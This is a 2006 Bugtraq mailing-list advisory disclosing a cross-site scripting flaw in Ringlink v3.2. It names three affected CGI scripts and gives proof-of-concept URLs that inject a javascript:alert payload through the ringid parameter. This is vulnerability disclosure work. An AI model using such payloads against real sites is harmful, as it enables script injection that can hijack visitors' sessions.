[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Ringlink v3.2 - XSS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Ringlink v3.2 - XSS
- From: luny@xxxxxxxxxxxxxxx
- Date: 10 Jun 2006 06:11:13 -0000
Ringlink v3.2
Homepage:
http://www.ringlink.org
Effected files:
next.cgi
stats.cgi
list.cgi
XSS Vulnerability PoC:
http://www.example.com/ringlink/next.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]
http://www.example.com/ringlink/stats.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]
http://www.example.com/ringlink/list.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]